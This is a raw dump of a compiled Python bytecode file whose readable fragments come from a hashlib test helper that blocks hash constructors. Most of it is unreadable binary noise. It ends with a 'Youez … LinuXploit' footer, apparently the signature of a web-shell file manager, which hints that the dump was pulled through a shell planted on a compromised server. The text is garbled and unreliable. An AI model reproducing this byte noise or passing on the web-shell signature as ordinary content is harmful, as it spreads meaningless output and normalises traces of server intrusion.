VT2[OOUOU2!r-)r�rYr[r\r�r�r�r�r]r^r)r��dummyrer�r�r�s&&&   r�_make_hash_constructor_blockerr��sj���d�#�N�3�D��%�%�'�'��0��%�%�'�'��o�o�g�&�u�-�G��g�/��=�=���t�}�}�g�6�6rc�<`�QQP	QP-U1Qkkko[RUQ2!)z#Block explicit public constructors.rrRc�":�[QR02g)z#blocked explicit public hash name: �ra�rVrrRr�s&$$�rr��._block_hashlib_hash_constructor.<locals>.dummy�s����>�t�f�E�F�Frr(rY�r��r�r�sf r�_block_hashlib_hash_constructorr��s.���G�4�G��G�G�)�$��y�A�Arc�<`�QQP	QP-U1Qkkko[RUQ2!)z$Block explicit OpenSSL constructors.rrRc�":�[QR02g)z$blocked explicit OpenSSL hash name: r�r�s&$$�rr��._block_openssl_hash_constructor.<locals>.dummy������?��v�F�G�Grr'rYr�r�sf r�_block_openssl_hash_constructorr��s.���H�4�H��H�H�)�$��y�A�Arc�<`�QQP	QQ-U1Qkkko[RUQ2!)z"Block explicit HACL* constructors.rrrRc�":�[QR02g)z$blocked explicit builtin hash name: r�r�s&$$�rr��._block_builtin_hash_constructor.<locals>.dummy�r�rr&rYr�r�sf r�_block_builtin_hash_constructorr��s.���H�4�H��H�H�)�$��y�A�Arc�b`�[R2oUOdUOQ6XfPU2gUO29oe[O2![
OU2U1Qk2o[V22[OOUOU2!)z'Block explicit HACL* HMAC constructors.r�c�":�[QR02g)zblocked hash name: r�)rb�objr�s&&�rr��0_block_builtin_hmac_constructor.<locals>.wrapper�s����.�t�f�5�6�6r)r�r
rYr[r\r�r�r�r�r]r^r)r�r�r�r�sf   r�_block_builtin_hmac_constructorr��s�����d�#�D����#�t�'7�'7�7�'B�H�D�H�B��%�%�'�'��0��%�%�'�'��_�_�W��7��7��g�/��=�=���t�}�}�g�6�6r�
allow_openssl�
allow_builtinc#� �[O29^tt^2oU%f$U%fUO[U22Lf[	Q29o%cUO2%c	U%c[	Q29o%f#U%fUO[U22U%fiUO[
U22UO[U22UO[U22UO[U22U%f�UO[U22UO[U22UO[U22UO[U22UO[U22Pw�PPP2P!)%fhP!9h3h)z�Block a hash algorithm for both hashing and HMAC.

Be careful with this helper as a function may be allowed, but can
still raise a ValueError at runtime if the OpenSSL security policy
disables it, e.g., if allow_openssl=True and FIPS mode is on.
r�)r[�	ExitStack�
enter_contextr�r�
get_fips_moder_r�rfrmr�r�r�r�r�)r�r�r��stackr�s&$$  r�block_algorithmr��sL���
�	�	�	�	�5���
��� ?�� E�F�(�
�3�
3�X�
3��&�&�(�(�!�
,�J�7�7��7�!���� ?�� E�F����� 7�� =�>���� ?�� E�F���� 7�� =�>���� :�4� @�A����� 7�� =�>���� ?�� E�F���� 7�� =�>���� ?�� E�F���� :�4� @�A�
�i
 �	�	�	�sX�G�F<�F<�-F<� F<�6F<�>F<�F<�!F<�;A/F<�+BF<�2
G�<G
	�G
	�	Gc#� �[O29^tt^2o[OU2FDoUO	[UP	Q52J!	Pw�PPP2P!)%fhP!9h3h)z?Block OpenSSL implementations, except those given in *exclude*.)r��r[r��CANONICAL_DIGEST_NAMES�
differencer�r��rr�r�s$  r�block_openssl_algorithmsr�8�S���
�	�	�	�	�5�*�5�5�g�>�D������D� I�J�?�
�
 �	�	�	��"�A>�?A*� 
A>�*A;	�3A;	�5	A>c#� �[O29^tt^2o[OU2FDoUO	[UP	Q52J!	Pw�PPP2P!)%fhP!9h3h)z=Block HACL* implementations, except those given in *exclude*.)r�r�r�s$  r�block_builtin_algorithmsr�Ar�r�r-r)i)Vr[r$r�rr�r��
unittest.mock�test.supportrrrr�StrEnumrr+�	frozenset�mapr	�__members__r�rHrIrJrK�NON_HMAC_DIGEST_NAMESrQr\rpr�r��
frozendictr>r?r@rArBrCrDrErFrGr��keysr�r�r�r�r�r�r�r�r�r�r��SkipTestr�r�rrrrrrrrrr r:r@rErPr_rfrmr�r�r�r�r�r�r�r��contextmanagerr�r�r�rns0r�<module>r�s����������&�$��$�&�%��$.�u�.��T�\�\��%)�d�l�l�%)�P#�3�s�G�,?�,?�#@�A��!����w�(�(��O�O�W�_�_�#���
�
�B!#�!#�H9�M�9�x-0�M�-0�`6
�6
�r ��K�K����������
��L�L�)���������
��N�N�I�������!��
��N�N�I�������!��
��N�N�I�������!��
��N�N�I�������!��
����i�������#��
����i�������#��
����i�������#��
����i�������#��
����y�������$��
����y�������$��
��O�O�Y���������
��O�O�Y���������
�Sq!�q��d��� �$:�:�:�:����1��0���N��]�^�N�;K�+L�M�M�0���
)6���7�$�$�%�(5���7�$�$�%�'4�4N�&O��7�?�?�#�&3�4N�&O��7�?�?�#�� 2�3����� �$:�:�:�:���$F�
�*F�B�
<�
8��"�"�8�K�z�K�5�.�47�&�2�T��,�t������4���r��4��%I�%I�P�0��
O� 2�
O�
� 2�
�$'�"=�&=�$M�$�B7�"M�"7�B�B�B�
7� ���;�5�;��;��;�|�����������������os�Q-

Youez - 2016 - github.com/yon3zu
LinuXploit